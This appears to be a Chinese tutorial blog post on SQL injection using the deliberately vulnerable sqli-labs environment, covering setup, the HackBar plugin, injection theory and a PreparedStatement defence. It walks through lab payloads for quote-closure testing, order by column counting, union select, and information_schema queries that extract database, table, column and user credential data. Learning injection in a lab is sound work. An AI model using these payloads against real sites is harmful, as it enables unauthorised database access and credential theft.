我们这边搭建的环境是sqli-labs-master。
链接:https://github.com/Audi-1/sqli-labs
首先安装phpstudy或者xampp
将下载的文件解压发在:phpstudy的WWW文件夹里 或者 xampp里面的htdocs文件夹里面
修改mysql文件的账号密码
在sqli-labs-master\sql-connections里面有个db-creds.inc文件,打开并修改账号密码。
点击第一个:Setup/reset Database for labs 出现下面页面为正
这里我们对照第一关进行测试
在这里我用了一个sql注入的插件。
这个插件下载地址是 https://github.com/HCTYMFF/hackbar2.1.3
hackbar2.1.3
加载{4c98c9c7-fc13-4622-b08a-a18923469c1c}.xpi 即可
一定记住要关闭插件的自动更新!!!,否则浏览器会自动更新插件到收费版本!!!
GitZip for github
这个chrome插件来下载,详情使用下载相关插件的方法可以参考我另一个 repo
里面的介绍下面的 Tips
: https://github.com/Mr-xn/BurpSuite-collections2020-06-12
更新火狐版本的hackbar 2.2.9
点击下载 来自这里2020-07-28
更新chrome版本hackbar2.3.1
点击下载2020-08-04
更新火狐版本的hackbar 2.3.1
点击下载在这里搜一下
安装完之后
笔记本的话是按 FN+F12
台式直接按F12就可以了
一、什么是sql注入呢?
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库。
二、sql注入产生原因
sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。对于Java数据库连接JDBC而言,SQL注入攻击只对Statement有效,对PreparedStatement是无效的,这是因为PreparedStatement不允许在不同的插入时间改变查询的逻辑结构。
如验证用户是否存在的SQL语句为:
用户名’and pswd='密码
如果在用户名字段中输入: 'or 1=1或是在密码字段中输入:'or 1=1
将绕过验证,但这种手段只对只对Statement有效,对PreparedStatement无效。相对Statement有以下优点:
1.防注入攻击
2.多次运行速度快
3.防止数据库缓冲区溢出
4.代码的可读性可维护性好
这四点使得PreparedStatement成为访问数据库的语句对象的首选,缺点是灵活性不够好,有些场合还是必须使用Statement。
三、sql注入原理
SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
SQL注入式攻击的主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。上面笔者举的例子就是采用了这种方法。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“—”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不背编译与执行。
?id=1 and 1=1 --+
这里我用sqlli_lab第三关为例,为例,当我们输入id=1的时候,页面显示正常
当我们输入id=1‘的时候,只要他页面有变化,那就是这里可能存在注入点
接下来判断参数id是如何闭合,以及闭合方式。
当id=1 and 1=1,页面回显正常。
这里说一下语句的意思
当id=1 and 1=2的时候,页面还是显示正常,这里说明了参数id有闭合,我们得猜出是什么闭合。
知道有闭合之后我们得用–+去掉后面的闭合,然后慢慢猜前面的闭合。
这里我们加了–+(注释)之后还是显示正常,这是因为当前面闭合没有关闭的
时候id这个参数只能识别前面一位,后面就不执行了。
这里我们从id=1’ and 1=2 --+,也就是测试闭合是不是逗号。
?id=1' and 1=1 --+
发现报错,因为前面是真后面也真,这样还是错了说明闭合不是单引号。
测试括号
?id=1) and 1=1 --+
这里括号是对的,但是真的就是括号闭合吗?,看上面显然不是
这里因为括号的闭合,只有1执行了1后面没有执行,我们可以看下一一条语句。
?id=1) and 1=2 --+
这里还是对了,说明1后面的and1=2没有执行,如果执行了的话,这条语句就是错的,所以)也是错的。
接下来测试’),一个单引号一个括号。
?id=1') and 1=1 --+
这里对了,当看一下1=2时的情况。
可以看到当id=1’) and 1=2 --+ 时错了。
?id=1') and 1=2 --+
这里说明闭合成功,因为1 and 1=2,前面为真后面为假执行成功,所以闭合是:
')
一个单引号一个括号。
这里我用sqlli_lab第一关为例
order by 是对字段排序的意思
?id=1' order by 1 --+
?id=1' order by 2 --+
?id=1' order by 3 --+
?id=1' order by 3 --+
当id等于1时
这里union表示联合查询,先查前面如果前面查不到,查后面的语句。
?id=1 union all select 1,2,3--+
当id=9999的时候
?id=9999’ union all select 1,2,3–+
这里9999可以去很多数,这里的意思就是让id查不到这个值就行了。
这里发现回显位是2和3的位置。
这里把查显示位的2替换成下面这一句就是查库
select group_concat(schema_name) from information_schema.schemata
group_concat的意思是把查询到的内容放在一行然后用逗号分隔开来。
这里如果有不知道的函数去这里查:菜鸟教程
这些都是查出来的数据库,这里为了安全我打了码。
select group_concat(table_name) from information_schema.tables where table_schema=database()
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users'
select group_concat(id,username,password) from users